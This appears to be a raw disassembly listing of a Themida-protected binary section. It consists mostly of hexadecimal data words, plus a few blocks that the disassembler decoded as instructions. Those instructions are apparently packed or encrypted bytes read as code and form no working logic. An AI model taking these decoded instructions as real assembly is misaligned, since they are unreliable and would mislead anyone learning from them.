dd 0A4B52714h, 202F6212h, 20270D5Ah, 0C269BB02h, 90C8D8DFh
dd 867E56CCh, 4427C45h, 4D8F30BDh, 95477213h, 4FD1838h
dd 0CEF24D97h, 0DDD89945h, 70FFF556h, 931FB274h, 4E984307h
dd 0E54BA299h, 0A98E074h, 0E5676BBCh, 8B3EB988h, 0BBDF300h
dd 76F1E37Eh, 8CAA693Ah, 79C7C45Bh, 0FC970039h, 0C5DD86A8h
dd 8F2E7DB2h, 63824CB4h, 69D3A798h, 0A442DC1Ch, 4144C0Bh
dd 3967D78h, 0CF3849h, 868B7D70h, 0A57611B1h, 4DB6000h
dd 0F497A3EEh, 27091FEh, 75224B02h, 0A410020Bh, 47210FC3h
dd 281BEB36h, 0BE1502B0h, 5E9F0FE3h, 3BA40258h, 6C5E84F2h
dd 3A12088h, 0ABE9BEDFh, 6E222010h, 13D7671Dh, 3508A2C0h
dd 803AA903h, 0C5058223h, 78C34FEFh, 9F82D7h, 6B1E2BA2h
dd 28970CBh, 1B6D3F0h, 0E08CF3E4h, 10D6DB97h, 25630805h
dd 18A23CD4h, 0B83373E2h, 13459F01h, 20C4E12Eh, 0F3B72CFCh
dd 0DB37C61Dh, 51E06200h, 1C46FDDh, 0BF8BF80Ch, 2091947Ch
dd 1F626B2Ch, 0AB882380h, 0D72C02A8h, 0C240E2D4h, 640CC39h
dd 83B88D9Ah, 1450C0C3h, 54059B8h, 98DA078Bh, 890B92B2h
dd 0E0B03CD0h, 58D11020h, 7E22FCD9h, 0E102AD1Eh, 6491807Eh
dd 0EA097B6Dh, 8242020Dh, 8863C598h, 36E2CCE3h, 0C98E2027h
dd 7F84013h, 144A4AA0h, 0D3E8B4B8h, 42EC8Ch, 9D86FE04h
dd 2EEEE31Ch, 0AD3D6017h, 0A1BC620Eh, 0A8894C28h, 0DF120072h
dd 0C6F00D58h, 8E204211h, 4372BD21h, 0A9623320h, 39AC1EA8h
dd 5ABC0065h, 0FCC90997h, 4490A22Ch, 7B002011h, 58D4869Ah
dd 0B5611644h, 1CA75E80h, 0B0194883h, 0E815DA5Fh, 0C4D867h
dd 972E3AA5h, 1FFA8238h, 9B95E2h, 92814803h, 8F032A85h
dd 4C6643A2h, 0B480054h, 0A1B8A3DBh, 281BC55Ch, 82B02CA0h
dd 0D6BC0061h, 0F2A628Fh, 0C215E88Bh, 4E082BC4h, 47D41090h
dd 23E3375Eh, 82F3E538h, 28CC5125h, 682FA54Bh, 23017823h
dd 3B05ED49h, 48285E0h, 0D3B00388h, 9AE600C0h, 0F9F1ADAFh
dd 0EEDC8431h, 0E92A4423h, 191CB700h, 64765891h, 54EAFFh
dd 0DC0A53EDh, 0C04117B1h, 3697B205h, 10C7B5AAh, 0CF6B70F0h
dd 0A430E94Dh, 0F39240EEh, 5C14DE24h, 981114A6h, 0C2271584h
dd 14CCFA90h, 5D3944h, 2454270Eh, 0C06D4D3h, 0EA830100h
dd 6FFC3E6Eh, 0BFA0A073h, 2085810Dh, 182E5A8h, 0B6529CC8h
dd 26A803F0h, 9314E417h, 23503A19h, 62A0480h, 0EBA483F7h
dd 1D02AA82h, 7524900Eh, 391117Dh, 80818861h, 97D6DCCh
dd 860C3C25h, 0E91F0DE4h, 4F2DB8A2h, 60809C82h, 0D4D1C891h
dd 4C009618h
dd 9CAC2C94h, 9CC5C174h, 18380BCh, 727B880Ch, 81A28937h
dd 33C014C5h, 18CD7A7Dh, 19C1C512h, 0B20025F1h, 0D26C9FCFh
dd 1A8F89Ah, 0E9AFFC1Ch, 0CACC8FC4h, 139F47Ch, 0E3C668F0h
dd 59BF1B0Ah, 800CD24h, 467CC858h, 6D950134h, 3DABD7CAh
dd 0B2E3C70h, 41602AF8h, 6D467094h, 16DAB402h, 0DD31D061h
dd 0DABCA810h, 1995CE0Bh, 2BFC82EDh, 0A0030002h, 1890CF87h
dd 8F63C115h, 3DD507E0h, 0A4A034E2h, 0B27BCE33h, 2F3E4EB0h
dd 33239Ch, 0A2532832h, 4E0197ABh, 0D8EBD9E4h, 303E3364h
dd 0DC21F0E4h, 10E3BA04h, 1888BFDDh, 16F4082h, 58503A50h
dd 61FF7D16h, 88EE9C04h, 28DCCA1Ch, 0FD41009Ch, 0DF0B8A25h
dd 61F43E5Dh, 0DC43D18h, 1780603Ch, 6E15C37Fh, 0B70B6D00h
dd 0D6DECAF8h, 714516F5h, 0CB690968h, 5B1158F9h, 76E86858h
dd 6916008Ch, 624CC34Eh, 661347A4h, 0FC4829ABh, 453F8040h
dd 0B09A1418h, 16155CB4h, 0EF2805F4h, 0A8C0D4ABh, 0C0CFC4C1h
dd 1424A19h, 0C030922h, 0E7DB3B85h, 8B9FD09Ah, 65F616EFh
dd 0A708058Fh, 8BF412E0h, 0C7D2C834h, 0D7D5E0B9h, 3C135566h
dd 0DD00387Bh, 0F319C4E2h, 45D60118h, 83B0051Ah, 796889CEh
dd 0B004FAEBh, 19976168h, 6498363Dh, 908F78h, 12E31F44h
dd 0A45F6D9h, 918C3333h, 1805002Bh, 7F98B266h, 5AFE6Ch
dd 5EEC1625h, 0BBE4267h, 0B031F718h, 99A58971h, 403F1F04h
dd 0C9D34541h, 660D170Ch, 590710E4h, 3588684Eh, 0F9991DC0h
dd 0D81B50EDh, 523301Ch, 0BA3BA421h, 6803609Eh, 227C209Ah
dd 0C55A0F70h, 6A57884Ch, 828B0076h, 0F6F8B0B7h, 3F00F374h
dd 0CAD96310h, 25FB680h, 0EF2D680Ch, 24E1A115h, 0D6A86054h
dd 80012EF8h, 0B585D4DBh, 598099C4h, 0CC305134h, 0DF2561C9h
dd 45E489B0h, 6131E45Ch, 9C207568h, 921701Eh, 0D5ACD767h
dd 18458444h, 1F5FAC30h, 243D1446h, 0B0C2039h, 0EB366D9Ch
dd 83D4F433h, 16AC3708h, 0FC057CA2h, 0C07167D9h, 880EEC1Eh
dd 0BA94AC1Eh, 0BE2C7ACFh, 6E8729B7h, 0F1B381A0h, 0E3DF135Dh
dd 3DC42303h, 9CD689C2h, 8FA2B283h, 8DA3E060h, 128C9A62h
dd 875B69Bh, 90C3BC84h, 0AD47E14Dh, 0FE88C918h, 0A54D0498h
dd 0C23DF9B3h, 0D4D00E4Ch, 0A300FC93h, 4D0F668Fh, 28690F5h
dd 0E49D343Fh, 94E08ED6h, 0C8A4D370h, 26238811h, 92351800h
dd 4DFCA1E7h, 4A474800h, 0C82D7A98h, 0A8051336h, 0DFD44DBBh
dd 92C40870h, 80453E0Bh, 45F8096Bh, 6080E408h, 28EA0543h
dd 740C01DFh, 0B64400D4h, 182FFBC5h, 0E507DC53h, 963EFAC6h
dd 5E1388E0h, 0A0513907h, 0BF98D6B2h, 0FF00B844h, 8754F52Ch
dd 3158AACh, 27CCCB80h, 0F1EE24C6h, 44293400h, 8D30681Ah
dd 0CA770082h, 365E5379h, 180C1E81h, 919269C1h, 0E09F5889h
dd 16000DFh, 8E2FA7Fh, 0FF61DE04h, 0A4B0A2E4h, 0A68A0494h
dd 0A460C1D6h, 0EF0405B4h, 37EB5E71h, 0C89B8904h, 3527AF10h
dd 0C0140F1Bh, 0BCD6799Dh, 0EB662A3Dh, 0FA5300A4h, 74FB373h
dd 950B373Fh, 0C2DF7467h, 11249D5Ch, 0A27E83D4h, 0F4C2A0B6h
dd 20889024h, 4512C887h, 58C5D76Eh, 454F810h, 8D33647h
dd 83DD8504h, 0E15868C0h, 8C74E8D0h, 9651F83Bh, 100404DFh
dd 3E00CFAFh, 7D9DBB18h, 0ABF041E9h, 0B2918DAh, 8F980DC6h
dd 0DC042829h, 3960E910h, 238E089Dh, 2481801Fh, 4CE201F5h
dd 5CFEF409h, 11489F9Ch, 0AAD98534h, 0FA028AC5h, 0F8BB5E47h
dd 0FF90C460h, 230932CBh, 0E0BE3126h, 1DE5632Fh, 81C99158h
dd 80AAC193h, 459E820h, 0C2339A1Eh, 8C30A85Eh, 14BF31F9h
dd 4C235735h, 84DA4710h, 3F40110Fh, 0D689A435h, 866E4B1Ah
dd 6CECC148h, 0DA1DB318h, 0C0616117h, 0DFDABBA9h, 13B42C4Ch
dd 28066185h, 7621E741h, 0A2A8C45Eh, 24AA3271h, 57F8F466h
dd 498A0400h, 0FDB7B28Eh, 2061242Ah, 0DC2D3970h, 3F73FC00h
dd 3624B6Eh, 495D8DD8h, 1888ECACh, 3C009E3h, 0C4BF47A0h
dd 82B9C1F8h, 73300C50h, 38F137Dh, 94CB71h, 0D87D6BCEh
dd 18438BD3h, 6073BB66h, 0FCA0EE05h, 380399Bh, 7710C41Ch
dd 0DB5D051Fh, 0C0BFF008h, 47784D95h, 0E0C88548h, 4D9DFBh
dd 90DB54F4h, 2FC329Ah, 0D743B010h, 0BD073F00h, 3C1CF82h
dd 9ABA5C12h, 0E18FD80Ch, 5BE30215h, 681E4B0Ah, 765B480h
dd 81BD1478h, 7786432Ch, 0C8B6100h, 4A2B2Dh, 6F4EB7FCh
dd 0B6990008h, 0CB611472h, 0FFF80E21h, 0BC9FCF2Ah, 8B2F98B0h
dd 0C600910Ah, 203B5E11h, 7962D220h, 701CD761h, 3F263E40h
dd 0EC182969h, 0A90CB249h, 666855A8h, 0B90B0043h, 660529E6h
dd 0CC12D59Eh, 5C04B85Eh, 0BF08CF0Fh, 30504B11h, 0B8A88EEh
dd 0BA76C202h, 0A0BB9D89h, 0E1E30FA8h, 1151AF5h, 4C6779C1h
dd 62637544h, 0D3AEACF0h, 0EF81D206h, 38218401h, 0F10716C0h
dd 10E7DA93h, 0E93BB863h, 3E14A09Ah, 269872A6h, 1D464451h
dd 74C12118h, 8D3B8140h, 5AFEE604h, 0C8F82279h, 821CD118h
dd 0D3F38C02h, 0FD20219h, 0B4BE3B04h, 4D4F0794h, 331C8002h
dd 3188D05Eh, 61508B2Ah, 848C2892h, 0E81CDEFFh, 58BA1DA8h
dd 0A121D9DCh, 860C2C9Dh, 5C08BC1Ah, 0D6807018h, 0B74FF188h
dd 48BEA238h, 2C0980A0h, 5288FBBh, 6AD75B15h, 97DCB4C5h
dd 0C28F60F1h, 33DF3E1Fh, 390EE34Ch, 1473278Ch, 89902421h
dd 35EC48A8h, 868D3Ch, 0A2197ED5h, 0BA8B964Bh, 7CFE1080h
dd 0B9C418D0h, 3D24D931h, 70098BDCh, 0CC1D3C6Ch, 0D180D311h
dd 87A053C9h, 0FAD0505h, 24818895h, 26019B58h, 0BE318046h
dd 45C72E68h, 169C4B66h, 80D09B30h, 7016FCF5h, 5E48B4EAh
dd 0D9007546h, 2F4D445Dh, 60FC3655h, 0A0DCF718h, 88DA43B1h
dd 39C08801h, 0E4918408h, 744C01FFh, 0C790FD17h, 1B382098h
dd 745DBF43h, 6072A305h, 0AB48814Ch, 0D44A0326h, 0B4609F49h
dd 8C800D93h, 98D40051h, 607EA2BDh, 0A45FDC0Fh, 662A7CD1h
dd 15F76500h, 0F46C2FEFh, 0D5058135h, 4799967Fh, 0B8070C30h
dd 61393E99h, 0B518710Bh, 97568481h, 636870FBh, 2AF902Fh
dd 8429456Ch, 72600DB0h, 32F907Dh, 0C9679h, 487D6ACDh
dd 0C00C2612h, 49A93F00h, 6B6FB4DDh, 0AB98A190h, 8A7FB866h
dd 189D38C1h, 0B7270812h, 6070E2A4h, 39273E0Bh, 0E6D4B38Eh
dd 8C6AC004h, 0F327B0DCh, 0F6822EAh, 45D06632h, 0A7E833B7h
dd 0E28DC0A8h, 4CB4C482h, 9FBF2B87h, 67BE2F50h, 8A1E010Fh
dd 0E9F2986Dh, 0C5D0477Ah, 17F08C82h, 0FCA639D2h, 0C0B80E4h
dd 29282609h, 0CB5DA80Fh, 0A8038AF4h, 37037ADh, 621026Dh
dd 94993CF8h, 53A4F804h, 0BCCF5ED6h, 701F5525h, 0AB807711h
dd 186E7B40h, 0B4944500h, 799D535Fh, 0B46CAE13h, 71AE6250h
dd 0A05F4896h, 7423FC3Eh, 0BADB9C00h, 1A02FEB3h, 80DAA390h
dd 0CD006C59h, 53DFC36h, 72090269h, 0C670D768h, 3F6040A4h
dd 0F9007623h, 7AB8FF5Eh, 0C158074Eh, 14C43D3Bh, 13A100E8h
dd 417719Fh, 7FD735D8h, 11A88A27h, 92026910h, 76D699EDh
dd 5AB8040h, 5FAF4486h, 0BA80F71Ah, 8E54C0C0h, 9174947Eh
dd 0DAB6856Bh, 4CC03C82h, 0A6CE448Ch, 453BDAE4h, 7CD10028h
dd 33A467E8h, 0B887593Eh, 992CFF08h, 2137024h, 79B6AC21h
dd 9C308BF9h, 0DAD104EBh, 0F8E213B5h, 11DEA984h, 8F702845h
dd 0C527A603h, 56430738h, 0C1A991F9h, 3415EA19h, 0B844F740h
dd 6D743D7Ch, 840F1377h
dd 42B821A2h, 465D0868h, 0C240502Fh, 0E80A89D6h, 9381A0C8h
dd 3D8F9E87h, 9B29C30h, 97897D9Ch, 49270096h, 647447EEh
dd 4F0A60C8h, 96893858h, 0A4870295h, 2DFF5000h, 0B118C2E5h
dd 91E7902h, 5E193801h, 80E66630h, 0F01E099h, 0A758FF61h
dd 472C092h, 332BB14h, 0A43B268Bh, 0C20B9B40h, 0B2123906h
dd 0BC051459h, 34A2A2A4h, 10988893h, 0CC7909EAh, 9B96A01Fh
dd 8A0A4907h, 80902D32h, 0ED945C90h, 5E2CBE3Dh, 800C946h
dd 0A262C25Ah, 0C52F7943h, 8BBC3710h, 1802659Fh, 0A0BC653h
dd 2E3B242Ch, 0D940FCD8h, 38B576h, 6DE63CF7h, 5EB041BBh
dd 0AA9C1B00h, 0DA6C8FCCh, 0BCAC5CB2h, 3168407Ch, 5F3AFE00h
dd 7143AB7Ch, 7BAC917Fh, 2595619Ch, 94FC5F0h, 0CE1FFFEAh
dd 7A4AD810h, 0A8B08282h, 0E4240BA6h, 4D9160BBh, 0A5472174h
dd 4D99FFC0h, 0B7BE006Eh, 3A7B10B3h, 1E2BD2Bh, 0A9003091h
dd 44865A3Ch, 0E5DE07D1h
; ---------------------------------------------------------------------------
loc_4E21A8: ; CODE XREF: Themida_:004E21C8j
xor [edi], esp
adc al, 40h
retn
; ---------------------------------------------------------------------------
db 3Fh, 45h, 19h
dd 0A50029Dh, 81B0536Dh, 0E7F5353Fh
db 0D7h, 70h
; ---------------------------------------------------------------------------
loc_4E21BE: ; CODE XREF: Themida_:004E2204j
inc edi
test dword ptr [ecx+6Ch], 0FE450E38h
or ebp, eax
loope loc_4E21A8
pop ss
movsb
rcr ah, 1
pop ebp
rcl dword ptr [esi+4Eh], 1
push ebp
mov ebp, esp
enter 0FFFFC039h, 1Ah
lea ebp, [edx+18EC77CAh]
jnb short loc_4E2240
movsb
and byte ptr [ebp+2C0A1DCh], 6Dh
jl short $+2
mov ah, 91h
xchg eax, edi
xchg esi, [ebp+4E2552FAh] ; CODE XREF: Themida_:004E224Dj
imul edi, [ecx], 28C43F94h
test al, 24h
or al, 0DFh
sub al, 74h
inc esi
into
add [ecx], cl
jge short loc_4E21BE
mov ds:0F4169BEFh, eax
xor ebp, [edx]
add ah, [ebx-70h]
add al, 0C9h
cmp [ebp+56h], eax
; ---------------------------------------------------------------------------
db 8Fh, 0FDh, 50h
dd 5DA71C03h, 104F20DBh, 80E37008h, 0EC5C6B75h, 0D100E945h
dd 2AD0FE07h, 733EC344h, 0DA99C1C4h, 0FCD89070h, 7600ADA9h
; ---------------------------------------------------------------------------
loc_4E2240: ; CODE XREF: Themida_:004E21DFj
add eax, 0EBFFF2ECh
xchg eax, ecx
mov [ebx], esi
mov ds:92B29BCh, al
jz short near ptr loc_4E21EE+5
retn 0CCh
; ---------------------------------------------------------------------------
dw 65C4h
dd 77A896B1h, 15572C3Bh, 0DC467600h, 108F27h, 0AA023260h
dd 71502C87h, 1F14F944h, 535E0051h, 8292E83h, 3ED9AD12h
dd 21E4CA00h, 2E17C8Bh, 45ED198Fh, 0A4F96CA4h, 722F7A00h
dd 9134F7h, 0B6A1EB9Ah, 7B41EAA0h, 97B51604h, 0D0C18D7Fh
dd 980088F6h, 4718EE06h, 561870E5h, 0F65806Fh, 0B0B31416h
dd 0AA4B4802h, 0F8A44477h, 8ED680A0h, 48F76012h, 0E060C484h
dd 0C2AB3968h, 0C4C578A0h, 3A537520h, 8E5C007Bh, 5933060Dh
dd 210280D5h, 0E473C848h, 79B471E9h, 0E6651878h, 81301CC4h
dd 8C644044h, 0D98BB805h, 0E015098h, 45018861h, 2A7F5Eh
dd 0B7A00758h, 244B54B5h, 0CA23EC2Fh, 3505C18h, 80768226h
dd 0D64676h, 43ECBA2Ch, 14607682h, 48E3FDC9h, 1E8CCBACh
dd 402E204Ch, 0A69922B5h, 0A29F671Ah, 0C02BC9B4h, 72793109h
dd 29B3F44h, 0FA9078h, 6BC724A3h, 559128Bh, 2F0EF51Eh
dd 0A5193FBFh, 919417FBh, 0E9AE8035h, 98D68E13h, 0FCA2E014h
dd 536E0743h, 0C7E1B618h, 0C1A97E27h, 0F87F2404h, 8CCFB878h
dd 250019E8h, 96EC543Dh, 4B56477Dh, 5E4043Fh, 59C0FDA8h
dd 0BBBC24h, 1C1A538Bh, 22A755C5h, 2DD658C0h, 2C5E5486h
dd 0C4AC3BA2h, 0DAB9606Eh, 98612511h, 0AB3B9496h, 0C7D201C1h
dd 0F64BA49Dh, 0F2090428h, 0B4D2C48Bh, 0AD96DE00h, 0CEEF8AFFh
dd 93E0C437h, 3588C81Ah, 0C4E39A0Eh, 0DC201317h, 1571B619h
dd 0C82423F4h, 0F6D10E70h, 6C08162h, 960E0731h, 0DF0C892Ch
dd 16733C00h, 0F26DBC8Eh, 93B2009Bh, 26B5468Dh, 426636AFh
dd 0E1C15F20h, 2E1E6032h, 0C7FC001Ch, 1B7F96D8h, 901EBC27h
dd 1F88908h, 689C12B2h, 0D061D34Eh, 0B50195F3h, 0D58ABEA2h
dd 4A2A707Bh, 80588868h, 85A7F7A3h, 8212C02Ah, 30C8DE32h
dd 0B94700C5h, 7D53A8FBh, 0AC9690DFh, 173465Eh, 60A33DEAh
dd 0EC31A751h, 0D5911FCAh, 0D4E71180h, 2D00F791h, 3F862AC7h
dd 4B71ABE1h, 0C8B48B19h, 1FE5C081h, 2309771h, 10DD1985h
dd 0A0F100D9h, 0B7CD2D7Eh, 60248DFBh, 0C82757FFh, 94756EC8h
dd 0E99442A4h, 59F0F112h, 75B318D6h, 0A1582DCFh, 0D7E14E6h
dd 91D4D727h, 0FD147EE8h, 3B82Ch, 0D9E47F80h, 0C76643EDh
dd 0B22C109Ah, 0A0AC58A2h, 648578A8h, 0E60CAC4h, 50CB880Fh
dd 0F107989h, 4A03ADB8h, 66C09DAFh, 54007F5Ch, 0F4BD6EA6h
dd 0B72AAF7h, 0EC061A71h, 0CA0C4C02h, 6D8BBE80h, 835D55ADh
dd 30B62E44h, 0CBF5BA60h, 93DD005Ch, 0CA1821C5h, 0D60A299Eh
dd 91043AF3h, 70D08914h, 98771A02h, 54A988FBh, 8B3E4390h
dd 0FDA65902h, 0D4197F76h, 121B4358h, 41BD77C0h, 5C10300Bh
dd 0A2C898F4h, 0D9890794h, 65A3F6B1h, 864C00C5h, 0EC6F05D2h
dd 2F651400h, 3D5CF1E5h, 0D9E3010Ch, 0D48911E2h, 0DED46C1Dh
dd 0E0919640h, 5A3A264Ch, 23083E88h, 480B00DBh, 2B3E41C9h
dd 17542E48h, 0E8CA8DBAh, 0D3A2F043h, 713DF30h, 79411F54h
dd 0EE335380h, 71F3D805h, 0D090575Eh, 937BCD5h, 45D0B635h
dd 0AAFF6802h, 7FD1B0D9h, 8C5E3218h, 4E331420h, 0A5E5E197h
dd 0AC01F6Ah, 80A82823h, 0C9DC5A3Ah, 370EFA50h, 60B301FDh
dd 0C1166594h, 0AE4C28F7h, 4370B6E0h, 0DF8BEB35h, 7D71ED98h
dd 0B4F19F00h, 2412423Fh, 2359C022h, 0C0CEFFEAh, 0D6E253B0h
dd 3CB3002h, 0F8CDEFA8h, 61F7E6ECh, 7FCF615Ch, 0C8B847EDh
dd 4A40A0AEh, 73777Bh, 7FE5DCC7h, 948470Dh, 0C43D2A08h
dd 754183C0h, 0C6A89E15h, 6F021A32h, 7BAA2E31h, 0A1844124h
dd 0FF564510h, 51398B2h, 0E8E1BB90h, 41839860h, 6C313A37h
dd 4C6D64C1h, 90C2017Ch, 795DB011h, 70CC49EBh, 0D802D7C4h
dd 0DD42877h, 20E878D5h, 9C00C258h, 2BD0366Ch, 0B1467CCh
dd 0D36DC11Ch, 0E0F97CE2h, 0EE187479h, 0A09FFC01h, 1093D65Ah
dd 646F3671h, 0ACC4A88Ch, 91008CD7h, 0CB2CBE10h, 4EFF5F9Bh
dd 224C03D4h, 0F2F3E47Eh, 531C6109h, 2E8DC5Eh, 0C274DFE1h
dd 0EA769A01h, 6A6BE442h, 0C33CEDF0h, 0AA8908F4h, 68F1C53Dh
dd 7E9E227Ch, 40D4BCE3h, 0A44CC08Eh, 6896333Bh, 5105C590h
dd 4CE38FF7h, 0D43038A2h, 784D03ADh, 3ADC5BB5h, 0E267E388h
dd 90B81C0h, 7ADBDF3h, 0CA298207h, 0A967B419h, 4F6D02DCh
dd 0FE9EF1DCh, 9B884CD8h, 2710048Ch, 38F2A4B9h, 2709075Eh
dd 40D72D71h, 0F504ACB4h, 0A7072107h, 6049033Dh, 2EEA9814h
dd 1FC8B571h, 0D4E8E561h, 6706949Ch, 89BAD743h, 144531A0h
dd 21AA7230h, 0BC237E78h, 329EC899h, 0D95826D0h, 7A3E3FEBh
dd 8137631Fh, 59BDF047h, 0FC087EA2h, 4DC409D3h, 34008470h
dd 0AD80CAFAh, 9EE20F2Bh, 0E320131Ch, 3038E200h, 0F1FCDFCh
dd 0BF97261h, 0F94E3FDEh, 428000E0h, 0F43B128Dh, 6BA30900h
dd 9754F81Fh, 4C370A8Fh, 140D441h, 1801E68Eh, 4CD42224h
dd 541524EEh, 0A089E707h, 91449F4Bh, 92EF80C8h, 25A00304h
dd 0C8C1BA37h, 0C446C63Bh, 491A4427h, 510AC28h, 64B603B0h
dd 8A407028h, 60E09D95h, 0F02407C2h, 0E844A8C0h, 4F88809h
dd 9344C498h, 0EFB8255Dh, 28A5BCE0h, 43CD0602h, 6254A036h
dd 79B0F9A4h, 0DC1876h, 8A19D137h, 6DA6FE44h, 80C5EF5Fh
dd 0C0BE241Eh, 0E0E29D6Ah, 0D5795879h, 34009D18h, 8192B57Fh
dd 0F03FF3ECh, 4CC471EDh, 0D4FC1CD9h, 2DC2008Ch, 80D508C1h
dd 0A7FEAC98h, 0FA8F5516h, 93ABA807h, 76A45211h, 3B112C32h
dd 137848B0h, 18D19F90h, 4C6DCF61h, 0BA0F6F23h, 0A061A5DAh
dd 0AAC0FCA2h, 80F3DAC2h, 77B90B00h, 0AB8B3960h, 0B4135401h
dd 33B81265h, 8E0023CFh, 38208841h, 0FEC680C4h, 1882230h
dd 5B90F934h, 24C3D7B0h, 29C35AE0h, 20EA058Ah, 0B2459148h
dd 8413465h, 0B0785E0Ch, 0D24FA817h, 5629378Ch, 0DD465E04h
dd 89E6D605h, 294CA4A9h, 27C1758h, 5E0FE3B9h, 0C1040FBEh
dd 88ECA967h, 0F79833E6h, 0EA060194h, 126AFE67h, 0C8748B68h
dd 5BA4C1CFh, 768C4FEh, 0D801D9ECh, 0AFE9222Fh, 193BFF3Dh
dd 3BC4A0F8h, 1F111467h, 90881D96h, 0E62D6494h, 5FD80430h
dd 4FD5C434h, 63793866h, 3FF61D35h, 245C41C2h, 6E7CA940h
dd 96908C37h, 39B64229h, 9F24476Eh, 30D380DCh, 93CD87FBh
dd 3940E38h, 4B5E4778h, 0D20171Dh, 3B204E16h, 2DA23F90h
dd 0B8D082AEh, 4428C789h, 92F86130h, 978B7470h, 0E43B1800h
dd 3F5F559Dh, 0E5D1C009h, 6130E4A8h, 0AC70C103h, 231B40AFh
dd 4C80B25Eh, 73849Ch, 93D82705h, 5DBD38E2h, 48928B74h
dd 849C6098h, 570BA71Fh, 0A86C2105h, 18A0D2CFh, 92DD16E4h
dd 4E5CB271h, 0DE83C8DBh, 0AFB0DDA2h, 0B37BB805h, 0FD68C180h
dd 2723298Ch, 0B400A7D9h, 1C4E8AAEh, 7C5A29h, 3DC68740h
dd 340F65BDh, 83BB1909h, 0B01C026Dh, 0FE5C826Bh, 35600F85h
dd 0BF0A9A76h, 0B90D4900h, 75E4418h, 0A8140E7Dh, 0B473272Bh
dd 0E3407568h, 0F8810202h, 31870AEFh, 20807089h, 980DAAEAh
dd 48E7AF25h, 25D69280h, 0DC8FB64Bh, 551DF62h, 0D289D8FEh
dd 3B1074F1h, 0CB5A1061h, 2FDE1310h, 24C68D04h, 0A4EF5F0Bh
dd 0E498F298h, 0E759C27Ch, 0A00C4D4h, 0B088277Eh, 0BEA30BFCh
dd 3045C1A4h, 0A060CFE4h, 5B00518Dh, 0CC372748h, 4A6B363Dh
dd 0C474C81Dh, 1130178Ah, 2FF285DDh, 0C88FCC81h, 535E7100h
dd 0BE26B0B6h, 82C04C3Fh, 81301336h, 8E8D3B3Ch, 4DB08C37h
dd 0A202B2D9h, 34D76894h
dd 45476D2h, 0A1616DC1h, 8A78215Ch, 782FDB78h, 8A79C198h
dd 0C51602D5h, 5DED767h, 8142D454h, 76D85C1Bh, 773E7846h
dd 964E9B80h, 732F95A2h, 205C8B5Ch, 6E433CC0h, 2A97E93h
dd 60968E80h, 4D972846h, 1A16C0CCh, 1407799Bh, 0CFB722D8h
dd 0D6A8A049h, 0C083028Eh, 914107A1h, 5B0B3C59h, 7368ED77h
dd 71782168h, 14E1876h, 0B5C73518h, 0E8A75384h, 0B8A206D7h
dd 0D1400076h, 0B819A330h, 22FA0E40h, 48B446Dh, 91107071h
dd 11453F0Ah, 0A0902538h, 0E8B0D1B3h, 9668A300h, 0F8721F48h
dd 16C4024Bh, 0B9A4DF61h, 2B1248F8h, 74B38A22h, 0C531D5B2h
dd 2A758C4h, 17F67909h, 0C4DE66FAh, 3208469h, 2FA0A0C8h
dd 0C4E7B156h, 0D160D564h, 4205E2A5h, 778D5527h, 0B03884E1h
dd 0B08CD4B8h, 0F4F501CAh, 0C8086031h, 9CB470AFh, 2C44BA41h
dd 0CF23883Ah, 810E4900h, 2CAF63Fh, 0DF087028h, 44702FFFh
dd 0F3E4730Ah, 5443D422h, 9196A03Fh, 0EBA505ADh, 726DEDAh
dd 47197195h, 898881B8h, 1D3189A0h, 1EF8F1DFh, 0CDB80C8h
dd 2A1A382Bh, 0E0773E2Dh, 0D3B8E014h, 23C83AC8h, 16C70034h
dd 0C2FC88FFh, 709B5098h, 91CC152Dh, 71CA8B80h, 5D96000Ch
dd 2B48E578h, 242CE493h, 70BA08h, 2B1AAC27h, 10C05DC2h
dd 0CB323569h, 3C900B38h, 44463E45h, 4656509Ch, 995F0378h
dd 0B72CADB8h, 0C587F20h, 0E05913EEh, 0B6780D22h, 54212B51h
dd 96ECFB98h, 5014E46Eh, 0EA38EECCh, 0B8DF2D8Eh, 77447447h
dd 0F0688960h, 12002FB0h, 0F59D7191h, 0B00F3126h, 9FF22010h
dd 0DF5DBF08h, 0E0122707h, 6467EF09h, 0E4603964h, 77026C3Eh
dd 3C38B2ACh, 0EB30C07Eh, 0F75F808Ch, 4B10BC4Dh, 2ED81820h
dd 3D260AA3h, 1D948BF1h, 8A0620C2h, 0D666E30Bh, 3EBC76A0h
dd 0E243DC0Fh, 0DA863034h, 0C85DFD0Bh, 98744609h, 0EA9B2D90h
dd 2D878C22h, 692C0209h, 7F3F07AAh, 707698A0h, 0C74E0467h
dd 2EB2E0A3h, 550F4032h, 7CCCB8CFh, 14E80EBh, 0F68C8F44h
dd 374B26AFh, 0BC9005C8h, 7A94016Bh, 6C581563h, 0F362803Ch
dd 2BD9C6Fh, 0DDC58036h, 0D0D0C08Fh, 72221604h, 1CFD7F7Dh
dd 1B05A3ACh, 5EC16CC0h, 20D54C03h, 727C9865h, 3EE94B36h
dd 1FDC23A8h, 1BB28BB6h, 57D080FBh, 39445884h, 670DA906h
dd 0B20041DFh, 139A4087h, 52065BCh, 6C9D391Bh, 4B50A6E6h
dd 2FC8D88Ah, 0C29D0BC0h, 99CA022Eh, 0B88D8654h, 0F0524162h
dd 0C5C1820h, 0C2E3B063h, 0FA496718h, 46690168h, 0C78917D9h
dd 0A884C83Ch, 34AC24E8h, 0E48CD6ACh, 0A53804D5h, 0F30D2C9Ah
dd 56450B54h, 306C78B3h, 9DC98623h, 0A890AA88h, 9FA4BD40h
dd 2F11C09Fh, 0D1B2A685h, 7E5A07E0h, 984B410h, 0BDAB6004h
dd 0EA101A4h, 0C0166985h, 0D6ECAF34h, 8AB6C73Ah, 9804C4BCh
dd 1CCB467Eh, 911804EEh, 1DBBFD71h, 8178C222h, 0A0838F72h
dd 547BE22Fh, 0F4CDA11h, 3070DF25h, 0B402448Ah, 0C1000343h
dd 3066476Bh, 0B61002AFh, 0AD71CB94h, 55A75A09h, 6078CE73h
dd 5C9CC1FEh, 5601439Fh, 0A289B8AAh, 0F6B1A53h, 0A8219C0h
dd 0E47CC64Bh, 0B005AB02h, 2A85E9Bh, 0EA230F44h, 26144070h
dd 20F01B29h, 0D49044BBh, 93906195h, 4C0987FCh, 9F2C7445h
dd 0DC228678h, 5C4430BAh, 2435E49Dh, 7E981DD4h, 68003846h
dd 84B093F9h, 0F001CF15h, 559D1076h, 487C2B63h, 0EE87207Eh
dd 8C946713h, 1745F0C8h, 3E2DFF6Eh, 752310h, 0C96BA874h
dd 0DE09E2B5h, 4812E453h, 0F6343F84h, 5ED61619h, 9E788B7Fh
dd 135D07A3h, 6109D067h, 0D54F3CFFh, 6C614CC9h, 128DB028h
